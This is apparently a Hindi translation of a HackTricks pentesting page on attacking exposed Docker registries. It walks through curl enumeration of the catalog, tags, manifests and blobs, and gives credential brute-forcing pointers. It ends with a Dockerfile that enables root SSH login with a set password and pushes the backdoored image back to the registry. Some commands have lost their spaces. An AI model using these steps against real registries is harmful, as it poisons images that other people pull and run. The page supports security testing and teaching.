अपने हैकिंग ट्रिक्स साझा करें, HackTricks और HackTricks Cloud github repos में PRs सबमिट करके।
मूल जानकारी
डॉकर इमेजेस के लिए एक डॉकर रजिस्ट्री नामक एक स्टोरेज और वितरण प्रणाली स्थापित है जो नामित होती है और कई संस्करणों में आ सकती है, जिन्हें टैग द्वारा विभाजित किया जा सकता है। ये इमेजेस डॉकर रिपॉजिटरी में जोड़ी जाती हैं जो रजिस्ट्री में होती हैं, प्रत्येक रिपॉजिटरी एक विशिष्ट इमेज के विभिन्न संस्करण संग्रहित करती है। प्रदान की गई कार्यक्षमता इमेजेस को स्थानीय रूप से डाउनलोड करने या रजिस्ट्री में अपलोड करने की अनुमति देती है, यदि उपयोगकर्ता के पास आवश्यक अनुमतियाँ हैं।
DockerHub डॉकर के लिए डिफ़ॉल्ट सार्वजनिक रजिस्ट्री के रूप में काम करता है, लेकिन उपयोगकर्ताओं को खुद का ऑन-प्रीमिस संस्करण चलाने का विकल्प है जो खुला स्रोत वाला डॉकर रजिस्ट्री/वितरण है या व्यावसायिक रूप से समर्थित Docker Trusted Registry का चयन कर सकते हैं। इसके अतिरिक्त, विभिन्न अन्य सार्वजनिक रजिस्ट्रियाँ ऑनलाइन मिल सकती हैं।
ऑन-प्रीमिस रजिस्ट्री से एक इमेज डाउनलोड करने के लिए निम्नलिखित कमांड का उपयोग किया जाता है:
dockerpullmy-registry:9000/foo/bar:2.1
यह कमांड my-registry डोमेन पर पोर्ट 9000 पर स्थानीय रजिस्ट्री से foo/bar इमेज संस्करण 2.1 लाता है। उल्टे, यदि 2.1 नवीनतम संस्करण है, तो DockerHub से एक ही इमेज डाउनलोड करने के लिए कमांड सरल हो जाता है:
dockerpullfoo/bar
डिफ़ॉल्ट पोर्ट: 5000
PORT STATE SERVICE VERSION
5000/tcp open http Docker Registry (API: 2.0)
खोजना
इस सेवा को खोजने का सबसे आसान तरीका इसे nmap के आउटपुट पर पाना है। हालांकि, ध्यान दें कि यह एक HTTP आधारित सेवा है और यह HTTP प्रॉक्सी के पीछे हो सकता है और nmap इसे नहीं डिटेक्ट करेगा।
कुछ fingerprints:
यदि आप / तक पहुँचते हैं तो प्रतिक्रिया में कुछ भी वापस नहीं आता है
यदि आप /v2/ तक पहुँचते हैं तो {} वापस आता है
यदि आप /v2/_catalog तक पहुँचते हैं तो आपको निम्नलिखित प्राप्त हो सकता है:
डॉकर रजिस्ट्री को HTTP या HTTPS का उपयोग करने के लिए कॉन्फ़िगर किया जा सकता है। इसलिए पहली चीज जो आपको करनी होगी वह यह है कि कौन सा कॉन्फ़िगर किया गया है:
डॉकर रजिस्ट्री को प्रमाणीकरण की आवश्यकता हो सकती है:
curl-khttps://192.25.197.3:5000/v2/_catalog#If Authentication required{"errors":[{"code":"UNAUTHORIZED","message":"authentication required","detail":[{"Type":"registry","Class":"","Name":"catalog","Action":"*"}]}]}
#If no authentication required{"repositories":["alpine","ubuntu"]}
यदि Docker रजिस्ट्री प्रमाणीकरण की आवश्यकता है तो आप इसका ब्रूट फोर्स प्रयास कर सकते हैं इसका उपयोग करके।
यदि आप मान्य प्रमाण पत्र पाते हैं तो आपको रजिस्ट्री को गणना करने के लिए उन्हें उपयोग करना होगा, curl में आप इस तरह से उन्हें उपयोग कर सकते हैं:
एक बार जब आपने डॉकर रजिस्ट्री तक पहुंच लिया है तो यहां कुछ कमांड हैं जिन्हें आप उपयोग कर सकते हैं उसे जांचने के लिए:
#List repositoriescurl-shttp://10.10.10.10:5000/v2/_catalog{"repositories":["alpine","ubuntu"]}#Get tags of a repositorycurl-shttp://192.251.36.3:5000/v2/ubuntu/tags/list{"name":"ubuntu","tags":["14.04","12.04","18.04","16.04"]}#Get manifestscurl-shttp://192.251.36.3:5000/v2/ubuntu/manifests/latest{"schemaVersion":1,"name":"ubuntu","tag":"latest","architecture":"amd64","fsLayers": [{"blobSum":"sha256:2a62ecb2a3e5bcdbac8b6edc58fae093a39381e05d08ca75ed27cae94125f935"},{"blobSum":"sha256:a3ed95caeb02ffe68cdd9fd84406680ae93d633cb16422d00e8a7c22955b46d4"},{"blobSum":"sha256:e7c96db7181be991f19a9fb6975cdbbd73c65f4a2681348e63a141a2192a5f10"}],"history": [{"v1Compatibility": "{\"architecture\":\"amd64\",\"config\":{\"Hostname\":\"\",\"Domainname\":\"\",\"User\":\"\",\"AttachStdin\":false,\"AttachStdout\":false,\"AttachStderr\":false,\"Tty\":false,\"OpenStdin\":false,\"StdinOnce\":false,\"Env\":[\"PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin\"],\"Cmd\":[\"/bin/sh\"],\"ArgsEscaped\":true,\"Image\":\"sha256:055936d3920576da37aa9bc460d70c5f212028bda1c08c0879aedf03d7a66ea1\",\"Volumes\":null,\"WorkingDir\":\"\",\"Entrypoint\":null,\"OnBuild\":null,\"Labels\":null},\"container_config\":{\"Hostname\":\"\",\"Domainname\":\"\",\"User\":\"\",\"AttachStdin\":false,\"AttachStdout\":false,\"AttachStderr\":false,\"Tty\":false,\"OpenStdin\":false,\"StdinOnce\":false,\"Env\":[\"PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin\"],\"Cmd\":[\"/bin/sh\",\"-c\",\"#(nop) COPY file:96c69e5db7e6d87db2a51d3894183e9e305a144c73659d5578d300bd2175b5d6 in /etc/network/if-post-up.d \"],\"ArgsEscaped\":true,\"Image\":\"sha256:055936d3920576da37aa9bc460d70c5f212028bda1c08c0879aedf03d7a66ea1\",\"Volumes\":null,\"WorkingDir\":\"\",\"Entrypoint\":null,\"OnBuild\":null,\"Labels\":null},\"created\":\"2019-05-13T14:06:51.794876531Z\",\"docker_version\":\"18.09.4\",\"id\":\"911999e848d2c283cbda4cd57306966b44a05f3f184ae24b4c576e0f2dfb64d0\",\"os\":\"linux\",\"parent\":\"ebc21e1720595259c8ce23ec8af55eddd867a57aa732846c249ca59402072d7a\"}"
},{"v1Compatibility": "{\"id\":\"ebc21e1720595259c8ce23ec8af55eddd867a57aa732846c249ca59402072d7a\",\"parent\":\"7869895562ab7b1da94e0293c72d05b096f402beb83c4b15b8887d71d00edb87\",\"created\":\"2019-05-11T00:07:03.510395965Z\",\"container_config\":{\"Cmd\":[\"/bin/sh -c #(nop) CMD [\\\"/bin/sh\\\"]\"]},\"throwaway\":true}"
},{"v1Compatibility": "{\"id\":\"7869895562ab7b1da94e0293c72d05b096f402beb83c4b15b8887d71d00edb87\",\"created\":\"2019-05-11T00:07:03.358250803Z\",\"container_config\":{\"Cmd\":[\"/bin/sh -c #(nop) ADD file:a86aea1f3a7d68f6ae03397b99ea77f2e9ee901c5c59e59f76f93adbb4035913 in / \"]}}"
}],"signatures": [{"header":{"jwk":{"crv":"P-256","kid":"DJNH:N6JL:4VOW:OTHI:BSXU:TZG5:6VPC:D6BP:6BPR:ULO5:Z4N4:7WBX","kty":"EC","x":"leyzOyk4EbEWDY0ZVDoU8_iQvDcv4hrCA0kXLVSpCmg","y":"Aq5Qcnrd-6RO7VhUS2KPpftoyjjBWVoVUiaPluXq4Fg"},"alg":"ES256"},"signature":"GIUf4lXGzdFk3aF6f7IVpF551UUqGaSsvylDqdeklkUpw_wFhB_-FVfshodDzWlEM8KI-00aKky_FJez9iWL0Q","protected":"eyJmb3JtYXRMZW5ndGgiOjI1NjQsImZvcm1hdFRhaWwiOiJDbjAiLCJ0aW1lIjoiMjAyMS0wMS0wMVQyMDoxMTowNFoifQ"}]}#Download one of the previously listed blobscurl http://10.10.10.10:5000/v2/ubuntu/blobs/sha256:2a62ecb2a3e5bcdbac8b6edc58fae093a39381e05d08ca75ed27cae94125f935 --output blob1.tar
#Inspect the insides of each blobtar-xfblob1.tar#After this,inspect the new folders and files created in the current directory
ध्यान दें कि जब आप blobs फ़ाइलें डाउनलोड और डीकंप्रेस करते हैं तो वर्तमान निर्देशिका में फ़ाइलें और फ़ोल्डर्स दिखाई देंगे। यदि आप सभी blobs डाउनलोड करके उन्हें एक ही फ़ोल्डर में डीकंप्रेस करते हैं तो वे पहले से डीकंप्रेस किए गए blobs के मानों को अधिलेखित कर देंगे, इसलिए सावधान रहें। प्रत्येक blob को अलग फ़ोल्डर में डीकंप्रेस करना दर्शाता है कि प्रत्येक blob की सटीक सामग्री की जांच करना रोचक हो सकता है।
डॉकर का उपयोग करके जाँच करना
#Once you know which images the server is saving (/v2/_catalog) you can pull themdockerpull10.10.10.10:5000/ubuntu#Check the commands used to create the layers of the imagedockerhistory10.10.10.10:5000/ubuntu#IMAGE CREATED CREATED BY SIZE COMMENT#ed05bef01522 2 years ago ./run.sh 46.8MB#<missing> 2 years ago /bin/sh -c #(nop) CMD ["./run.sh"] 0B#<missing> 2 years ago /bin/sh -c #(nop) EXPOSE 80 0B#<missing> 2 years ago /bin/sh -c cp $base/mysql-setup.sh / 499B#<missing> 2 years ago /bin/sh -c #(nop) COPY dir:0b657699b1833fd59… 16.2MB#Run and get a shelldockerrun-it10.10.10.10:5000/ubuntubash#Leave this shell runningdockerps#Using a different shelldockerexec-it7d3a81fe42d7bash#Get ash shell inside docker container
WordPress इमेज में बैकडोरिंग
उस स्थिति में जहाँ आपने एक डॉकर रजिस्ट्री में एक वर्डप्रेस इमेज पाई है, आप इसे बैकडोर कर सकते हैं।
बैकडोर बनाएँ:
और इसे सेट करने के लिए संशोधित करें: PermitRootLogin yes
निम्नलिखित जैसा एक Dockerfile बनाएं:
```bash FROM 10.10.10.10:5000/sshd-docker-cli COPY sshd_config /etc/ssh/ RUN echo root:password | chpasswd ``` **नया** इमेज **बनाएं**, **जांचें** कि यह बन गया है, और **पुश** करें: ```bash docker build -t 10.10.10.10:5000/sshd-docker-cli . #Create docker images docker push registry:5000/sshd-docker-cli #Push it ``` ## संदर्भ * [https://www.aquasec.com/cloud-native-academy/docker-container/docker-registry/](https://www.aquasec.com/cloud-native-academy/docker-container/docker-registry/)